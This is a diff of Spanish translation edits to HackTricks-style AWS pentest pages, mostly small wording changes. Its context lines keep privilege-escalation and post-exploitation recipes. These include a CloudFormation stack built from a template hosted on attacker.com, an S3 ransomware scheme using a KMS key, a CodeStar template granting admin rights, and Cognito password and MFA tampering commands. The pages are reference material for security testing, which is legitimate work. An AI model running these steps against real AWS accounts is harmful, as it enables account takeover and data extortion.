{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizaciones
|
||||
|
||||
Para más información sobre AWS Organizations, consulta:
|
||||
Para más información sobre AWS Organizations consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
|
||||
+3
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información, consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot.
|
||||
Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> TODO: Probar
|
||||
|
||||
Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada.
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## S3
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -21,17 +21,17 @@ Por ejemplo, **airflow** podría estar almacenando **código** de **DAGs** allí
|
||||
|
||||
### Ransomware en S3
|
||||
|
||||
En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, rol o cuenta de AWS cifrar objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados.
|
||||
En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo que cualquier usuario, rol o cuenta de AWS encripte objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados.
|
||||
|
||||
El atacante identifica un **bucket S3 objetivo y obtiene acceso de nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más.
|
||||
El atacante identifica un **bucket S3 objetivo y obtiene acceso a nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más.
|
||||
|
||||
Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **la eliminación de autenticación multifactor (MFA delete) está habilitada**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico.
|
||||
|
||||
Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su clave KMS**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
|
||||
Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia encriptada usando su clave KMS**. Esto encripta efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave.
|
||||
|
||||
Para añadir más presión, el atacante programa la eliminación de la clave KMS utilizada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan permanentemente.
|
||||
|
||||
Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrado, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware.
|
||||
Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin encriptación, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware.
|
||||
|
||||
**Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
|
||||
+1
-1
@@ -16,7 +16,7 @@ Los **secretos en sí son información sensible**, [consulta la página de prive
|
||||
|
||||
### DoS Cambiar el Valor del Secreto
|
||||
|
||||
Cambiar el valor del secreto podría **DoS todo el sistema que depende de ese valor.**
|
||||
Al cambiar el valor del secreto, podrías **DoS todo el sistema que depende de ese valor.**
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.
|
||||
|
||||
+3
-7
@@ -4,7 +4,7 @@
|
||||
|
||||
## SES
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
@@ -25,19 +25,15 @@ Enviar un correo electrónico.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Aún por probar.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Envía un correo electrónico basado en una plantilla.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Aún por probar.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Enviar un correo electrónico a múltiples destinos
|
||||
Envía un correo electrónico a múltiples destinos
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
@@ -51,7 +47,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Enviar un **correo electrónico de rebote** sobre un correo electrónico recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo electrónico.
|
||||
Enviar un **correo de rebote** sobre un correo recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
# AWS - SNS Post Explotación
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn <value>
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Un atacante podría enviar mensajes maliciosos o no deseados al tema SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
|
||||
Un atacante podría enviar mensajes maliciosos o no deseados al tema de SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
@@ -40,14 +40,14 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Un atacante podría suscribirse o darse de baja de un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema.
|
||||
Un atacante podría suscribirse o darse de baja de un tema de SNS, lo que podría permitir el acceso no autorizado a mensajes o interrumpir el funcionamiento normal de las aplicaciones que dependen del tema.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impacto Potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del tema afectado.
|
||||
|
||||
### `sns:AddPermission`, `sns:RemovePermission`
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Un atacante podría otorgar acceso a usuarios o servicios no autorizados a un tema de SNS, o revocar permisos para usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del tema.
|
||||
```css
|
||||
|
||||
+1
-1
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falla, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
|
||||
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
|
||||
+2
-3
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
|
||||
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
#### aws_consoler
|
||||
|
||||
Puedes **generar un enlace de consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
Puedes **generar un enlace a la consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
|
||||
### **Eludir restricciones de User-Agent desde Python**
|
||||
|
||||
Si hay una **restricción para realizar ciertas acciones basada en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo:
|
||||
Si hay una **restricción para realizar ciertas acciones basadas en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
|
||||
+5
-5
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -39,7 +39,7 @@ aws apigateway update-rest-api \
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necesita pruebas
|
||||
|
||||
Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment` y `iam:PassRole` puede **agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol IAM adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol IAM**.
|
||||
@@ -60,7 +60,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necesita pruebas
|
||||
|
||||
Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un autorizer de API Gateway existente** para eludir las verificaciones de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes de API.
|
||||
@@ -75,11 +75,11 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Eludir verificaciones de seguridad, acceso no autorizado a recursos de API.
|
||||
**Impacto Potencial**: Eludir controles de seguridad, acceso no autorizado a recursos de API.
|
||||
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTA]
|
||||
> [!NOTE]
|
||||
> Necesita pruebas
|
||||
|
||||
Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para apuntar a un Balanceador de Carga de Red diferente, redirigiendo potencialmente el tráfico privado de la API a recursos no autorizados o maliciosos**.
|
||||
|
||||
+8
-8
@@ -12,7 +12,7 @@ Para más información sobre cloudformation, consulta:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
Un atacante con estos permisos **puede escalar privilegios** al crear un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:**
|
||||
Un atacante con estos permisos **puede escalar privilegios** creando un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -37,21 +37,21 @@ aws cloudformation update-stack \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
|
||||
El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio de cloudformation especificado.
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Si tienes este permiso pero **sin `iam:PassRole`** aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).
|
||||
Si tienes este permiso pero **sin `iam:PassRole`**, aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).
|
||||
|
||||
La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
|
||||
El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio de cloudformation ya adjunto.
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation abusando de los roles de servicio de cloudformation** al igual que con el CreateStack o UpdateStack.
|
||||
Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation** al igual que con CreateStack o UpdateStack.
|
||||
|
||||
La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
|
||||
```bash
|
||||
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
La permiso `cloudformation:SetStackPolicy` se puede usar para **darte permisos de `ChangeSet`** sobre una pila y realizar el ataque.
|
||||
El permiso `cloudformation:SetStackPolicy` se puede usar para **otorgarte permisos de `ChangeSet`** sobre un stack y realizar el ataque.
|
||||
|
||||
**Impacto Potencial:** Privesc a roles de servicio de cloudformation.
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los ya adjuntos**, solo modifica el parámetro:
|
||||
Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los que ya están adjuntos**, solo modifica el parámetro:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
@@ -93,7 +93,7 @@ Esto es como el método anterior sin pasar **roles de IAM**, así que solo puede
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
Un atacante podría abusar de estos permisos para crear/actualizar StackSets para abusar de roles de cloudformation arbitrarios.
|
||||
Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.
|
||||
|
||||
**Impacto Potencial:** Privesc a los roles de servicio de cloudformation.
|
||||
|
||||
|
||||
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Ejemplo2" }}
|
||||
{{#tab name="Example2" }}
|
||||
```bash
|
||||
# Generated by AI, not tested
|
||||
# Create a buildspec.yml file with reverse shell command
|
||||
@@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Al igual que en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
|
||||
Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Teniendo **suficientes permisos para iniciar una sesión ssm** es posible **entrar en un proyecto de Codebuild** que se está construyendo.
|
||||
Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
|
||||
|
||||
El proyecto de codebuild necesitará tener un punto de interrupción:
|
||||
|
||||
@@ -289,7 +289,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon.
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
|
||||
Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
|
||||
|
||||
Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
|
||||
```bash
|
||||
@@ -320,7 +320,7 @@ commands:
|
||||
**Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
|
||||
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
|
||||
> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
|
||||
|
||||
Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
|
||||
+3
-3
@@ -12,11 +12,11 @@ Para más información sobre codepipeline, consulta:
|
||||
|
||||
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
|
||||
|
||||
Al crear un pipeline de código, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos.
|
||||
Al crear un code pipeline, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos.
|
||||
|
||||
Aparte de los permisos anteriores, necesitarías **acceso al lugar donde se almacena el código** (S3, ECR, github, bitbucket...)
|
||||
|
||||
Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un pipeline de código, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<varios>`
|
||||
Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un codepipeline, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<varios>`
|
||||
|
||||
Durante la **creación del proyecto de construcción**, puedes indicar un **comando para ejecutar** (¿rev shell?) y ejecutar la fase de construcción como **usuario privilegiado**, esa es la configuración que el atacante necesita para comprometer:
|
||||
|
||||
@@ -26,7 +26,7 @@ Durante la **creación del proyecto de construcción**, puedes indicar un **coma
|
||||
|
||||
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
|
||||
|
||||
Podría ser posible modificar el rol utilizado y el comando ejecutado en un pipeline de código con los permisos anteriores.
|
||||
Podría ser posible modificar el rol utilizado y el comando ejecutado en un codepipeline con los permisos anteriores.
|
||||
|
||||
### `codepipeline:pollforjobs`
|
||||
|
||||
|
||||
+3
-3
@@ -52,12 +52,12 @@ codestar-createproject-codestar-associateteammember.md
|
||||
1. **Crear un Nuevo Proyecto:**
|
||||
- Utiliza la acción **`codestar:CreateProjectFromTemplate`** para iniciar la creación de un nuevo proyecto.
|
||||
- Tras la creación exitosa, se otorga automáticamente acceso para **`cloudformation:UpdateStack`**.
|
||||
- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker-<nombre de proyecto genérico>-CloudFormation`.
|
||||
- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker-<nombre del proyecto genérico>-CloudFormation`.
|
||||
2. **Actualizar la Pila Objetivo:**
|
||||
- Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada.
|
||||
- El nombre de la pila generalmente se ajustará a uno de dos patrones:
|
||||
- `awscodestar-<nombre de proyecto genérico>-infrastructure`
|
||||
- `awscodestar-<nombre de proyecto genérico>-lambda`
|
||||
- `awscodestar-<nombre del proyecto genérico>-infrastructure`
|
||||
- `awscodestar-<nombre del proyecto genérico>-lambda`
|
||||
- El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo).
|
||||
3. **Acceso y Permisos:**
|
||||
- Después de la actualización, obtienes las capacidades asignadas al **rol IAM de CloudFormation** vinculado con la pila.
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
Con estos permisos puedes **abusar de un rol IAM de codestar** para realizar **acciones arbitrarias** a través de una **plantilla de cloudformation**.
|
||||
|
||||
Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener el **exploit de la plantilla de cloudformation**. El siguiente se puede usar para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**:
|
||||
Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener la **plantilla de exploit de cloudformation**. La siguiente puede ser utilizada para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**:
|
||||
```json:toolchain.json
|
||||
{
|
||||
"Resources": {
|
||||
@@ -79,6 +79,6 @@ aws codestar create-project \
|
||||
--source-code file://$SOURCE_CODE_PATH \
|
||||
--toolchain file://$TOOLCHAIN_PATH
|
||||
```
|
||||
Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por el administrador para un rol en lugar de para un usuario.
|
||||
Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por un administrador para un rol en lugar de para un usuario.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para más información sobre Cognito, consulta:
|
||||
|
||||
### Recolección de credenciales del Identity Pool
|
||||
|
||||
Como Cognito puede otorgar **credenciales de rol de IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente).
|
||||
Como Cognito puede otorgar **credenciales de rol IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente).
|
||||
|
||||
Para más información [**consulta esta página**](../aws-unauthenticated-enum-access/#cognito).
|
||||
|
||||
@@ -73,7 +73,7 @@ aws cognito-identity update-identity-pool \
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**:
|
||||
Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar a un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
@@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> -
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
Este permiso permite **verificar un registro**. Por defecto, cualquiera puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.
|
||||
Este permiso permite **verificar un registro**. Por defecto, cualquier persona puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
@@ -129,7 +129,7 @@ Este permiso permite iniciar sesión con el [**método ADMIN_USER_PASSWORD_AUTH*
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole hacerse pasar por cualquier usuario (que no tenga MFA habilitado).
|
||||
Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole suplantar a cualquier usuario (que no tenga MFA habilitado).
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** Similar a la anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario y eludir la protección de MFA.
|
||||
**SetUserMFAPreference:** Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario para eludir la protección de MFA.
|
||||
